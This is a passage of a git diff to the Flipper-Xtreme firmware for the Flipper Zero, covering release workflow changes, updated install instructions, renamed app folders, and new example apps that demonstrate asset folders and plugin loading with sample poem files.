diff --git a/.github/workflow_data/release.md b/.github/workflow_data/release.md index 4602ffa1f..b83fb1f9c 100644 --- a/.github/workflow_data/release.md +++ b/.github/workflow_data/release.md @@ -1,9 +1,9 @@ ## ⬇️ Download ->### [πŸ“¦ Zipped Archive (.zip)](https://github.com/ClaraCrazy/Flipper-Xtreme/releases/download/{release_tag}/{release_tag}.zip) [recommended] +>### [πŸ–₯️ Web Updater (chrome)](https://lab.flipper.net/?url={webupdater_url}&channel=XFW-Updater&version={release_tag}) [recommended] >### [🐬 qFlipper Package (.tgz)](https://github.com/ClaraCrazy/Flipper-Xtreme/releases/download/{release_tag}/{release_tag}.tgz) ->### [πŸ–₯️ Web Updater (chrome)](https://lab.flipper.net/?url={webupdater_url}&channel=XFW-Updater&version={release_tag}) [not recommended] +>### [πŸ“¦ Zipped Archive (.zip)](https://github.com/ClaraCrazy/Flipper-Xtreme/releases/download/{release_tag}/{release_tag}.zip) **Remember to delete your `apps` folders before updating!**\ **Check the [install guide](https://github.com/ClaraCrazy/Flipper-Xtreme#install) if you're not sure, or [join our Discord](https://discord.gg/flipper-xtreme) if you have questions or encounter issues!** diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 842184286..d6ee6c9e6 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -32,22 +32,11 @@ jobs: repository: ${{ github.event.pull_request.head.repo.full_name }} ref: ${{ github.event.pull_request.head.ref }} - - name: "Update version number" + - name: "Read version number" run: | - VERSION="$(python -c "print('%04d' % int('${{ github.event.pull_request.title }}'.removeprefix('V').removesuffix(' Release Candidate Changes')), end='')")" - DATE="$(python -c "from datetime import date;print(date.today().strftime('%d%m%Y'), end='')")" - RELEASE_NAME="XFW-${VERSION}" - RELEASE_TAG="${RELEASE_NAME}_${DATE}" + RELEASE_TAG="$(grep -o "DIST_SUFFIX = .*" fbt_options.py | cut -d'"' -f2)" echo "RELEASE_TAG=${RELEASE_TAG}" >> $GITHUB_ENV - sed "s/VERSION = \"XFW-[[:digit:]]\{4\}\"/VERSION = \"${RELEASE_NAME}\"/g" ./scripts/version.py > ./scripts/version.py.new - rm ./scripts/version.py - mv ./scripts/version.py.new ./scripts/version.py - - sed "s/DIST_SUFFIX = \"XFW-[[:digit:]]\{4\}_[[:digit:]]\{8\}\"/DIST_SUFFIX = \"${RELEASE_TAG}\"/g" ./fbt_options.py > ./fbt_options.py.new - rm ./fbt_options.py - mv ./fbt_options.py.new ./fbt_options.py - - name: 'Build the firmware' run: | set -e @@ -58,14 +47,12 @@ jobs: - name: "Make tgz, zip and webupdater" run: | - cd ./dist/${DEFAULT_TARGET}-* - mv flipper-z-${DEFAULT_TARGET}-update-*.tgz ${RELEASE_TAG}.tgz - cd ./${DEFAULT_TARGET}-update-* - 7z a ../${RELEASE_TAG}.zip . - cd .. - mv ${RELEASE_TAG}.tgz .. - mv ${RELEASE_TAG}.zip .. - cd .. + cd dist/${DEFAULT_TARGET}-* + mv ${DEFAULT_TARGET}-update-* ${RELEASE_TAG} + tar --format=ustar -czvf ../${RELEASE_TAG}.tgz ${RELEASE_TAG} + cd ${RELEASE_TAG} + 7z a ../../${RELEASE_TAG}.zip . + cd ../.. python -m pip install pyncclient WEBUPDATER_URL="$(python -c "import nextcloud_client as n;c = n.Client('https://cloud.cynthialabs.net/');c.login('${{ secrets.NC_USER }}', '${{ secrets.NC_PASS }}');c.put_file('XFW-Updater/${RELEASE_TAG}.tgz', '${RELEASE_TAG}.tgz');print(c.share_file_with_link('XFW-Updater/${RELEASE_TAG}.tgz').get_link().rstrip('/') + '/download/${RELEASE_TAG}.tgz', end='')")" echo "WEBUPDATER_URL=${WEBUPDATER_URL}" >> $GITHUB_ENV @@ -74,13 +61,6 @@ jobs: run: | python -c "import json, os;f = '.github/workflow_data/release.md';c = json.load(open(os.environ['GITHUB_EVENT_PATH']))['pull_request']['body'];f_ = open(f);n = f_.read().format(release_tag='${RELEASE_TAG}', webupdater_url='${WEBUPDATER_URL}', changelog=c);f_.close();f_ = open(f, 'w');f_.write(n);f_.close()" - - name: "Commit new version number" - uses: EndBug/add-and-commit@v9 - with: - default_author: github_actions - message: Update version number - add: './fbt_options.py ./scripts/version.py' - - name: "Merge pull request" uses: "pascalgn/automerge-action@v0.15.6" env: @@ -98,4 +78,4 @@ jobs: dist/${{ env.RELEASE_TAG }}.zip name: "${{ env.RELEASE_TAG }}" tag_name: "${{ env.RELEASE_TAG }}" - target_commitish: main + target_commitish: ${{ github.event.pull_request.base.ref }} diff --git a/.gitignore b/.gitignore index f816372fa..067264322 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ +*~ *.swp *.swo *.gdb_history diff --git a/.gitmodules b/.gitmodules index de580c3c0..3a15177bd 100644 --- a/.gitmodules +++ b/.gitmodules @@ -28,9 +28,9 @@ [submodule "lib/cxxheaderparser"] path = lib/cxxheaderparser url = https://github.com/robotpy/cxxheaderparser.git -[submodule "applications/plugins/subbrute"] - path = applications/plugins/subbrute - url = https://github.com/derskythe/flipperzero-subbrute.git -[submodule "applications/plugins/dap_link/lib/free-dap"] - path = applications/plugins/dap_link/lib/free-dap +[submodule "applications/external/dap_link/lib/free-dap"] + path = applications/external/dap_link/lib/free-dap url = https://github.com/ataradov/free-dap.git +[submodule "lib/heatshrink"] + path = lib/heatshrink + url = https://github.com/flipperdevices/heatshrink.git diff --git a/.pvsoptions b/.pvsoptions index ca1b2b572..6b22aed76 100644 --- a/.pvsoptions +++ b/.pvsoptions @@ -1 +1 @@ ---ignore-ccache -C gccarm --rules-config .pvsconfig -e lib/fatfs -e lib/fnv1a-hash -e lib/FreeRTOS-Kernel -e lib/heatshrink -e lib/libusb_stm32 -e lib/littlefs -e lib/mbedtls -e lib/micro-ecc -e lib/microtar -e lib/mlib -e lib/qrcode -e lib/ST25RFAL002 -e lib/STM32CubeWB -e lib/u8g2 -e lib/nanopb -e */arm-none-eabi/* -e applications/plugins/dap_link/lib/free-dap +--ignore-ccache -C gccarm --rules-config .pvsconfig -e lib/fatfs -e lib/fnv1a-hash -e lib/FreeRTOS-Kernel -e lib/heatshrink -e lib/libusb_stm32 -e lib/littlefs -e lib/mbedtls -e lib/micro-ecc -e lib/microtar -e lib/mlib -e lib/qrcode -e lib/ST25RFAL002 -e lib/STM32CubeWB -e lib/u8g2 -e lib/nanopb -e */arm-none-eabi/* -e applications/external/dap_link/lib/free-dap diff --git a/ReadMe.md b/ReadMe.md index d212e3e18..b729d1e6e 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -23,6 +23,8 @@ The goal of this Firmware is to regularly bring out amazing updates based on wha -

Stable: Many hours have been spent rewriting core parts of the Flippers firmware as well as some of its apps to ensure stability. A task that was long needed on all Firmware, so we tackled it right away.

-

Customizable: Dont like the Animations, want to turn on/off the Home screen icons (battery, SD card etc), change the flippers name or anything like that? You absolutely can. No need to mess with code or deal with weird manifest files. Its all done with an App.

+

+Note, the below mentioned changes are only a few things we did. For a full list click [here](https://github.com/ClaraCrazy/Flipper-Xtreme/wiki/Customization) -----
@@ -157,20 +159,37 @@ Note: This repo is always updated with OFW & Unleashed. No need to mention all t ----

Install:

+
-**This is the recommended install procedure. Please follow these steps EXACTLY and CAREFULLY to ensure you install correctly.** -**This process will NOT delete any saved files and simply ensures the install goes smoothly.** -

+There are 3 methods to install Xtreme, we recommend you use the **Web Updater**, but choose whichever one you prefer: -- Download the latest release (.zip) from [The releases tab](https://github.com/ClaraCrazy/Flipper-Xtreme/releases/latest) -- Extract the archive. This is now your new Firmware folder -- Open [qFlipper](https://flipperzero.one/update), head to `SD/Update` and simply move the firmware folder there -- On the Flipper, hit the `Arrow Down` button, this will get you to the file menu. In there simply search for your updates folder -- Inside that folder, select the Firmware you just moved onto it, and run the file thats simply called `Update` +
-- Enjoy! +>
Web Updater (Chrome)
-**If you have issues or crashes with that process, you can try to use `Settings > Storage > Factory Reset` then retry the install.** +>
qFlipper Package (.tgz)
+ +>
Zipped Archive (.zip)
+ +
+ +**If you have issues or crashes with the install process, you can try to use `Settings > Storage > Factory Reset` then retry the install.** **Doing that will NOT remove your saved files, it will only forget some settings and paired devices.** ---- @@ -203,7 +222,7 @@ $ ./fbt resources icons dolphin_ext ----

Contributors

-[![Contributors](https://user-images.githubusercontent.com/55334727/212134625-21383102-02f3-453f-b1d7-8a9c65b27612.svg)](https://github.com/ClaraCrazy/Flipper-Xtreme/graphs/contributors) +[![Contributors](https://user-images.githubusercontent.com/49810075/228231815-8f0a267d-ac1a-494c-9cd0-1cd57568fc79.svg)](https://github.com/ClaraCrazy/Flipper-Xtreme/graphs/contributors) ---- diff --git a/SConstruct b/SConstruct index 81ff67790..609b36af4 100644 --- a/SConstruct +++ b/SConstruct @@ -139,34 +139,33 @@ if GetOption("fullenv") or any( basic_dist = distenv.DistCommand("fw_dist", distenv["DIST_DEPENDS"]) distenv.Default(basic_dist) -dist_dir = distenv.GetProjectDirName() +dist_dir_name = distenv.GetProjectDirName() +dist_dir = distenv.Dir(f"#/dist/{dist_dir_name}") +external_apps_artifacts = firmware_env["FW_EXTAPPS"] +external_app_list = external_apps_artifacts.application_map.values() + fap_dist = [ distenv.Install( - distenv.Dir(f"#/dist/{dist_dir}/apps/debug_elf"), - list( - app_artifact.debug - for app_artifact in firmware_env["FW_EXTAPPS"].applications.values() - ), + dist_dir.Dir("debug_elf"), + list(app_artifact.debug for app_artifact in external_app_list), ), *( distenv.Install( - f"#/dist/{dist_dir}/apps/{app_artifact.app.fap_category}", - app_artifact.compact[0], + dist_dir.File(dist_entry[1]).dir, + app_artifact.compact, ) - for app_artifact in firmware_env["FW_EXTAPPS"].applications.values() + for app_artifact in external_app_list + for dist_entry in app_artifact.dist_entries ), ] Depends( fap_dist, - list( - app_artifact.validator - for app_artifact in firmware_env["FW_EXTAPPS"].applications.values() - ), + list(app_artifact.validator for app_artifact in external_app_list), ) Alias("fap_dist", fap_dist) # distenv.Default(fap_dist) -distenv.Depends(firmware_env["FW_RESOURCES"], firmware_env["FW_EXTAPPS"].resources_dist) +distenv.Depends(firmware_env["FW_RESOURCES"], external_apps_artifacts.resources_dist) # Copy all faps to device diff --git a/applications/ReadMe.md b/applications/ReadMe.md index ddbe5d65b..598c8b2ad 100644 --- a/applications/ReadMe.md +++ b/applications/ReadMe.md @@ -36,15 +36,20 @@ Applications for main Flipper menu. - `u2f` - U2F Application -## plugins +## External -Extra apps for Plugins & App Loader menus. +External applications deployed to SD Card -- `bt_hid_app` - BT Remote controller +- `clock` - Clock application +- `dap_link` - DAP Link OnChip debugger +- `hid_app` - USB/BT Remote controller - `music_player` - Music player app (demo) -- `picopass` - Picopass tool +- `nfc_magic` - NFC MFC Magic card application +- `picopass` - Picopass reader / writer +- `signal_generator` - Signal generator app: PWM and clock generator - `snake_game` - Snake game application - +- `spi_mem_manager` - SPI Memory reader / flasher +- `weather_station` - SubGHz weather station ## services diff --git a/applications/debug/uart_echo/application.fam b/applications/debug/uart_echo/application.fam index b9766254c..c4079c6c1 100644 --- a/applications/debug/uart_echo/application.fam +++ b/applications/debug/uart_echo/application.fam @@ -1,7 +1,7 @@ App( appid="UART_Echo", name="[GPIO] UART Echo", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="uart_echo_app", cdefines=["APP_UART_ECHO"], requires=["gui"], diff --git a/applications/debug/unit_tests/storage/storage_test.c b/applications/debug/unit_tests/storage/storage_test.c index 582be7902..f0b45c598 100644 --- a/applications/debug/unit_tests/storage/storage_test.c +++ b/applications/debug/unit_tests/storage/storage_test.c @@ -362,8 +362,8 @@ static size_t storage_test_apps_count = COUNT_OF(storage_test_apps); static int32_t storage_test_app(void* arg) { UNUSED(arg); Storage* storage = furi_record_open(RECORD_STORAGE); - storage_common_remove(storage, "/app/test"); - int32_t ret = storage_file_create(storage, "/app/test", "test"); + storage_common_remove(storage, "/data/test"); + int32_t ret = storage_file_create(storage, "/data/test", "test"); furi_record_close(RECORD_STORAGE); return ret; } @@ -401,7 +401,7 @@ MU_TEST(test_storage_data_path) { Storage* storage = furi_record_open(RECORD_STORAGE); File* file = storage_file_alloc(storage); - mu_check(storage_dir_open(file, "/app")); + mu_check(storage_dir_open(file, "/data")); mu_check(storage_dir_close(file)); storage_file_free(file); diff --git a/applications/debug/usb_mouse/application.fam b/applications/debug/usb_mouse/application.fam index bf555c671..38ba55425 100644 --- a/applications/debug/usb_mouse/application.fam +++ b/applications/debug/usb_mouse/application.fam @@ -7,6 +7,6 @@ App( requires=["gui"], stack_size=1 * 1024, order=60, - fap_icon="../../plugins/mousejacker/mouse_10px.png", + fap_icon="../../external/mousejacker/mouse_10px.png", fap_category="Debug", ) diff --git a/applications/examples/application.fam b/applications/examples/application.fam index 8556714c9..347411fac 100644 --- a/applications/examples/application.fam +++ b/applications/examples/application.fam @@ -1,3 +1,4 @@ +# Placeholder App( appid="example_apps", name="Example apps bundle", diff --git a/applications/examples/example_apps_assets/README.md b/applications/examples/example_apps_assets/README.md new file mode 100644 index 000000000..a24183e88 --- /dev/null +++ b/applications/examples/example_apps_assets/README.md @@ -0,0 +1,58 @@ +# Apps Assets folder Example + +This example shows how to use the Apps Assets folder to store data that is not part of the application itself, but is required for its operation, and that data is provided with the application. + +## What is the Apps Assets Folder? + +The **Apps Assets** folder is a folder where external applications unpack their assets. + +The path to the current application folder is related to the `appid` of the app. The `appid` is used to identify the app in the app store and is stored in the `application.fam` file. +The Apps Assets folder is located only on the external storage, the SD card. + +For example, if the `appid` of the app is `snake_game`, the path to the Apps Assets folder will be `/ext/apps_assets/snake_game`. But using raw paths is not recommended, because the path to the Apps Assets folder can change in the future. Use the `/assets` alias instead. + +## How to get the path to the Apps Assets folder? + +You can use `/assets` alias to get the path to the current application data folder. For example, if you want to open a file `database.txt` in the Apps Assets folder, you can use the next path: `/data/database.txt`. But this way is not recommended, because even the `/assets` alias can change in the future. + +We recommend to use the `APP_ASSETS_PATH` macro to get the path to the Apps Assets folder. For example, if you want to open a file `database.txt` in the Apps Assets folder, you can use the next path: `APP_ASSETS_PATH("database.txt")`. + +## What is the difference between the Apps Assets folder and the Apps Data folder? + +The Apps Assets folder is used to store the data provided with the application. For example, if you want to create a game, you can store game levels (contant data) in the Apps Assets folder. + +The Apps Data folder is used to store data generated by the application. For example, if you want to create a game, you can save the progress of the game (user-generated data) in the Apps Data folder. + +## How to provide the data with the app? + +To provide data with an application, you need to create a folder inside your application folder (eg "files") and place the data in it. After that, you need to add `fap_file_assets="files"` to your application.fam file. + +For example, if you want to provide game levels with the application, you need to create a "levels" folder inside the "files" folder and put the game levels in it. After that, you need to add `fap_file_assets="files"` to your application.fam file. The final application folder structure will look like this: + +``` +snake_game +β”œβ”€β”€ application.fam +β”œβ”€β”€ snake_game.c +└── files + └── levels + β”œβ”€β”€ level1.txt + β”œβ”€β”€ level2.txt + └── level3.txt +``` + +When app is launched, the `files` folder will be unpacked to the Apps Assets folder. The final structure of the Apps Assets folder will look like this: + +``` +/assets +β”œβ”€β”€ .assets.signature +└── levels + β”œβ”€β”€ level1.txt + β”œβ”€β”€ level2.txt + └── level3.txt +``` + +## When will the data be unpacked? + +The data is unpacked when the application starts, if the application is launched for the first time, or if the data within the application is updated. + +When an application is compiled, the contents of the "files" folder are hashed and stored within the application itself. When the application starts, this hash is compared to the hash stored in the `.assets.signature` file. If the hashes differ or the `.assets.signature` file does not exist, the application folder is deleted and the new data is unpacked. \ No newline at end of file diff --git a/applications/examples/example_apps_assets/application.fam b/applications/examples/example_apps_assets/application.fam new file mode 100644 index 000000000..4f324277d --- /dev/null +++ b/applications/examples/example_apps_assets/application.fam @@ -0,0 +1,10 @@ +App( + appid="example_apps_assets", + name="Example: Apps Assets", + apptype=FlipperAppType.EXTERNAL, + entry_point="example_apps_assets_main", + requires=["gui"], + stack_size=4 * 1024, + fap_category="Examples", + fap_file_assets="files", +) diff --git a/applications/examples/example_apps_assets/example_apps_assets.c b/applications/examples/example_apps_assets/example_apps_assets.c new file mode 100644 index 000000000..f2d0272f0 --- /dev/null +++ b/applications/examples/example_apps_assets/example_apps_assets.c @@ -0,0 +1,48 @@ +#include +#include +#include +#include + +// Define log tag +#define TAG "example_apps_assets" + +static void example_apps_data_print_file_content(Storage* storage, const char* path) { + Stream* stream = file_stream_alloc(storage); + FuriString* line = furi_string_alloc(); + + FURI_LOG_I(TAG, "----------------------------------------"); + FURI_LOG_I(TAG, "File \"%s\" content:", path); + if(file_stream_open(stream, path, FSAM_READ, FSOM_OPEN_EXISTING)) { + while(stream_read_line(stream, line)) { + furi_string_replace_all(line, "\r", ""); + furi_string_replace_all(line, "\n", ""); + FURI_LOG_I(TAG, "%s", furi_string_get_cstr(line)); + } + } else { + FURI_LOG_E(TAG, "Failed to open file"); + } + FURI_LOG_I(TAG, "----------------------------------------"); + + furi_string_free(line); + file_stream_close(stream); + stream_free(stream); +} + +// Application entry point +int32_t example_apps_assets_main(void* p) { + // Mark argument as unused + UNUSED(p); + + // Open storage + Storage* storage = furi_record_open(RECORD_STORAGE); + + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("test_asset.txt")); + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/a jelly-fish.txt")); + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/theme in yellow.txt")); + example_apps_data_print_file_content(storage, APP_ASSETS_PATH("poems/my shadow.txt")); + + // Close storage + furi_record_close(RECORD_STORAGE); + + return 0; +} diff --git a/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt b/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt new file mode 100644 index 000000000..46a5a4dff --- /dev/null +++ b/applications/examples/example_apps_assets/files/poems/a jelly-fish.txt @@ -0,0 +1,24 @@ +A Jelly-Fish by Marianne Moore + +Visible, invisible, +A fluctuating charm, +An amber-colored amethyst +Inhabits it; your arm +Approaches, and +It opens and +It closes; +You have meant +To catch it, +And it shrivels; +You abandon +Your intentβ€” +It opens, and it +Closes and you +Reach for itβ€” +The blue +Surrounding it +Grows cloudy, and +It floats away +From you. + +source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/poems/my shadow.txt b/applications/examples/example_apps_assets/files/poems/my shadow.txt new file mode 100644 index 000000000..e113e7df5 --- /dev/null +++ b/applications/examples/example_apps_assets/files/poems/my shadow.txt @@ -0,0 +1,23 @@ +My Shadow by Robert Louis Stevenson + +I have a little shadow that goes in and out with me, +And what can be the use of him is more than I can see. +He is very, very like me from the heels up to the head; +And I see him jump before me, when I jump into my bed. + +The funniest thing about him is the way he likes to growβ€” +Not at all like proper children, which is always very slow; +For he sometimes shoots up taller like an India-rubber ball, +And he sometimes gets so little that there’s none of him at all. + +He hasn’t got a notion of how children ought to play, +And can only make a fool of me in every sort of way. +He stays so close beside me, he’s a coward you can see; +I’d think shame to stick to nursie as that shadow sticks to me! + +One morning, very early, before the sun was up, +I rose and found the shining dew on every buttercup; +But my lazy little shadow, like an arrant sleepy-head, +Had stayed at home behind me and was fast asleep in bed. + +source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/poems/theme in yellow.txt b/applications/examples/example_apps_assets/files/poems/theme in yellow.txt new file mode 100644 index 000000000..f392287bd --- /dev/null +++ b/applications/examples/example_apps_assets/files/poems/theme in yellow.txt @@ -0,0 +1,19 @@ +Theme in Yellow by Carl Sandburg + +I spot the hills +With yellow balls in autumn. +I light the prairie cornfields +Orange and tawny gold clusters +And I am called pumpkins. +On the last of October +When dusk is fallen +Children join hands +And circle round me +Singing ghost songs +And love to the harvest moon; +I am a jack-o'-lantern +With terrible teeth +And the children know +I am fooling. + +source: "https://poets.org/anthology/poems-your-poetry-project-public-domain" \ No newline at end of file diff --git a/applications/examples/example_apps_assets/files/test_asset.txt b/applications/examples/example_apps_assets/files/test_asset.txt new file mode 100644 index 000000000..1adcb55ee --- /dev/null +++ b/applications/examples/example_apps_assets/files/test_asset.txt @@ -0,0 +1 @@ +## This is test file content \ No newline at end of file diff --git a/applications/examples/example_apps_data/README.md b/applications/examples/example_apps_data/README.md index fd8666077..c70ac055a 100644 --- a/applications/examples/example_apps_data/README.md +++ b/applications/examples/example_apps_data/README.md @@ -9,10 +9,16 @@ The **Apps Data** folder is a folder used to store data for external apps that a The path to the current application folder is related to the `appid` of the app. The `appid` is used to identify the app in the app store and is stored in the `application.fam` file. The Apps Data folder is located only on the external storage, the SD card. -For example, if the `appid` of the app is `snake_game`, the path to the Apps Data folder will be `/ext/apps_data/snake_game`. But using raw paths is not recommended, because the path to the Apps Data folder can change in the future. Use the `/app` alias instead. +For example, if the `appid` of the app is `snake_game`, the path to the Apps Data folder will be `/ext/apps_data/snake_game`. But using raw paths is not recommended, because the path to the Apps Data folder can change in the future. Use the `/data` alias instead. ## How to get the path to the Apps Data folder? -You can use `/app` alias to get the path to the current application data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `/app/config.txt`. But this way is not recommended, because even the `/app` alias can change in the future. +You can use `/data` alias to get the path to the current application data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `/data/config.txt`. But this way is not recommended, because even the `/data` alias can change in the future. -We recommend to use the `APP_DATA_PATH` macro to get the path to the Apps Data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `APP_DATA_PATH("config.txt")`. \ No newline at end of file +We recommend to use the `APP_DATA_PATH` macro to get the path to the Apps Data folder. For example, if you want to open a file `config.txt` in the Apps Data folder, you can use the next path: `APP_DATA_PATH("config.txt")`. + +## What is the difference between the Apps Assets folder and the Apps Data folder? + +The Apps Assets folder is used to store the data provided with the application. For example, if you want to create a game, you can store game levels (contant data) in the Apps Assets folder. + +The Apps Data folder is used to store data generated by the application. For example, if you want to create a game, you can save the progress of the game (user-generated data) in the Apps Data folder. \ No newline at end of file diff --git a/applications/examples/example_plugins/application.fam b/applications/examples/example_plugins/application.fam new file mode 100644 index 000000000..a6e3c2078 --- /dev/null +++ b/applications/examples/example_plugins/application.fam @@ -0,0 +1,31 @@ +App( + appid="example_plugins", + name="Example: App w/plugin", + apptype=FlipperAppType.EXTERNAL, + entry_point="example_plugins_app", + stack_size=2 * 1024, + fap_category="Examples", +) + +App( + appid="example_plugins_multi", + name="Example: App w/plugins", + apptype=FlipperAppType.EXTERNAL, + entry_point="example_plugins_multi_app", + stack_size=2 * 1024, + fap_category="Examples", +) + +App( + appid="example_plugin1", + apptype=FlipperAppType.PLUGIN, + entry_point="example_plugin1_ep", + requires=["example_plugins", "example_plugins_multi"], +) + +App( + appid="example_plugin2", + apptype=FlipperAppType.PLUGIN, + entry_point="example_plugin2_ep", + requires=["example_plugins_multi"], +) diff --git a/applications/examples/example_plugins/example_plugins.c b/applications/examples/example_plugins/example_plugins.c new file mode 100644 index 000000000..acc5903ad --- /dev/null +++ b/applications/examples/example_plugins/example_plugins.c @@ -0,0 +1,70 @@ +/* + * An example of a plugin host application. + * Loads a single plugin and calls its methods. + */ + +#include "plugin_interface.h" + +#include + +#include +#include +#include + +#define TAG "example_plugins" + +int32_t example_plugins_app(void* p) { + UNUSED(p); + + FURI_LOG_I(TAG, "Starting"); + + Storage* storage = furi_record_open(RECORD_STORAGE); + + FlipperApplication* app = flipper_application_alloc(storage, firmware_api_interface); + + do { + FlipperApplicationPreloadStatus preload_res = + flipper_application_preload(app, APP_DATA_PATH("plugins/example_plugin1.fal")); + + if(preload_res != FlipperApplicationPreloadStatusSuccess) { + FURI_LOG_E(TAG, "Failed to preload plugin"); + break; + } + + if(!flipper_application_is_plugin(app)) { + FURI_LOG_E(TAG, "Plugin file is not a library"); + break; + } + + FlipperApplicationLoadStatus load_status = flipper_application_map_to_memory(app); + if(load_status != FlipperApplicationLoadStatusSuccess) { + FURI_LOG_E(TAG, "Failed to load plugin file"); + break; + } + + const FlipperAppPluginDescriptor* app_descriptor = + flipper_application_plugin_get_descriptor(app); + + FURI_LOG_I( + TAG, + "Loaded plugin for appid '%s', API %lu", + app_descriptor->appid, + app_descriptor->ep_api_version); + + furi_check(app_descriptor->ep_api_version == PLUGIN_API_VERSION); + furi_check(strcmp(app_descriptor->appid, PLUGIN_APP_ID) == 0); + + const ExamplePlugin* plugin = app_descriptor->entry_point; + + FURI_LOG_I(TAG, "Plugin name: %s", plugin->name); + FURI_LOG_I(TAG, "Plugin method1: %d", plugin->method1()); + FURI_LOG_I(TAG, "Plugin method2(7,8): %d", plugin->method2(7, 8)); + FURI_LOG_I(TAG, "Plugin method2(1337,228): %d", plugin->method2(1337, 228)); + } while(false); + flipper_application_free(app); + + furi_record_close(RECORD_STORAGE); + FURI_LOG_I(TAG, "Goodbye!"); + + return 0; +} diff --git a/applications/examples/example_plugins/example_plugins_multi.c b/applications/examples/example_plugins/example_plugins_multi.c new file mode 100644 index 000000000..12eba01c1 --- /dev/null +++ b/applications/examples/example_plugins/example_plugins_multi.c @@ -0,0 +1,43 @@ +/* + * An example of an advanced plugin host application. + * It uses PluginManager to load all plugins from a directory + */ + +#include "plugin_interface.h" + +#include +#include +#include + +#include + +#define TAG "example_plugins" + +int32_t example_plugins_multi_app(void* p) { + UNUSED(p); + + FURI_LOG_I(TAG, "Starting"); + + PluginManager* manager = + plugin_manager_alloc(PLUGIN_APP_ID, PLUGIN_API_VERSION, firmware_api_interface); + + if(plugin_manager_load_all(manager, APP_DATA_PATH("plugins")) != PluginManagerErrorNone) { + FURI_LOG_E(TAG, "Failed to load all libs"); + return 0; + } + + uint32_t plugin_count = plugin_manager_get_count(manager); + FURI_LOG_I(TAG, "Loaded %lu plugin(s)", plugin_count); + + for(uint32_t i = 0; i < plugin_count; i++) { + const ExamplePlugin* plugin = plugin_manager_get_ep(manager, i); + FURI_LOG_I(TAG, "plugin name: %s", plugin->name); + FURI_LOG_I(TAG, "plugin method1: %d", plugin->method1()); + FURI_LOG_I(TAG, "plugin method2(7,8): %d", plugin->method2(7, 8)); + } + + plugin_manager_free(manager); + FURI_LOG_I(TAG, "Goodbye!"); + + return 0; +} diff --git a/applications/examples/example_plugins/plugin1.c b/applications/examples/example_plugins/plugin1.c new file mode 100644 index 000000000..156219353 --- /dev/null +++ b/applications/examples/example_plugins/plugin1.c @@ -0,0 +1,32 @@ +/* A simple plugin implementing example_plugins application's plugin interface */ + +#include "plugin_interface.h" + +#include + +static int example_plugin1_method1() { + return 42; +} + +static int example_plugin1_method2(int arg1, int arg2) { + return arg1 + arg2; +} + +/* Actual implementation of app<>plugin interface */ +static const ExamplePlugin example_plugin1 = { + .name = "Demo App Plugin 1", + .method1 = &example_plugin1_method1, + .method2 = &example_plugin1_method2, +}; + +/* Plugin descriptor to comply with basic plugin specification */ +static const FlipperAppPluginDescriptor example_plugin1_descriptor = { + .appid = PLUGIN_APP_ID, + .ep_api_version = PLUGIN_API_VERSION, + .entry_point = &example_plugin1, +}; + +/* Plugin entry point - must return a pointer to const descriptor */ +const FlipperAppPluginDescriptor* example_plugin1_ep() { + return &example_plugin1_descriptor; +} diff --git a/applications/examples/example_plugins/plugin2.c b/applications/examples/example_plugins/plugin2.c new file mode 100644 index 000000000..0b774dad2 --- /dev/null +++ b/applications/examples/example_plugins/plugin2.c @@ -0,0 +1,32 @@ +/* Second plugin implementing example_plugins application's plugin interface */ + +#include "plugin_interface.h" + +#include + +static int example_plugin2_method1() { + return 1337; +} + +static int example_plugin2_method2(int arg1, int arg2) { + return arg1 - arg2; +} + +/* Actual implementation of app<>plugin interface */ +static const ExamplePlugin example_plugin2 = { + .name = "Demo App Plugin 2", + .method1 = &example_plugin2_method1, + .method2 = &example_plugin2_method2, +}; + +/* Plugin descriptor to comply with basic plugin specification */ +static const FlipperAppPluginDescriptor example_plugin2_descriptor = { + .appid = PLUGIN_APP_ID, + .ep_api_version = PLUGIN_API_VERSION, + .entry_point = &example_plugin2, +}; + +/* Plugin entry point - must return a pointer to const descriptor */ +const FlipperAppPluginDescriptor* example_plugin2_ep() { + return &example_plugin2_descriptor; +} diff --git a/applications/examples/example_plugins/plugin_interface.h b/applications/examples/example_plugins/plugin_interface.h new file mode 100644 index 000000000..e24bc47bf --- /dev/null +++ b/applications/examples/example_plugins/plugin_interface.h @@ -0,0 +1,12 @@ +#pragma once + +/* Common interface between a plugin and host applicaion */ + +#define PLUGIN_APP_ID "example_plugins" +#define PLUGIN_API_VERSION 1 + +typedef struct { + const char* name; + int (*method1)(); + int (*method2)(int, int); +} ExamplePlugin; diff --git a/applications/examples/example_plugins_advanced/app_api.c b/applications/examples/example_plugins_advanced/app_api.c new file mode 100644 index 000000000..42b3a1860 --- /dev/null +++ b/applications/examples/example_plugins_advanced/app_api.c @@ -0,0 +1,25 @@ +#include "app_api.h" + +/* Actual implementation of app's API and its private state */ + +static uint32_t accumulator = 0; + +void app_api_accumulator_set(uint32_t value) { + accumulator = value; +} + +uint32_t app_api_accumulator_get() { + return accumulator; +} + +void app_api_accumulator_add(uint32_t value) { + accumulator += value; +} + +void app_api_accumulator_sub(uint32_t value) { + accumulator -= value; +} + +void app_api_accumulator_mul(uint32_t value) { + accumulator *= value; +} diff --git a/applications/examples/example_plugins_advanced/app_api.h b/applications/examples/example_plugins_advanced/app_api.h new file mode 100644 index 000000000..7035b79f5 --- /dev/null +++ b/applications/examples/example_plugins_advanced/app_api.h @@ -0,0 +1,25 @@ +#pragma once + +/* + * This file contains an API that is internally implemented by the application + * It is also exposed to plugins to allow them to use the application's API. + */ +#include + +#ifdef __cplusplus +extern "C" { +#endif + +void app_api_accumulator_set(uint32_t value); + +uint32_t app_api_accumulator_get(); + +void app_api_accumulator_add(uint32_t value); + +void 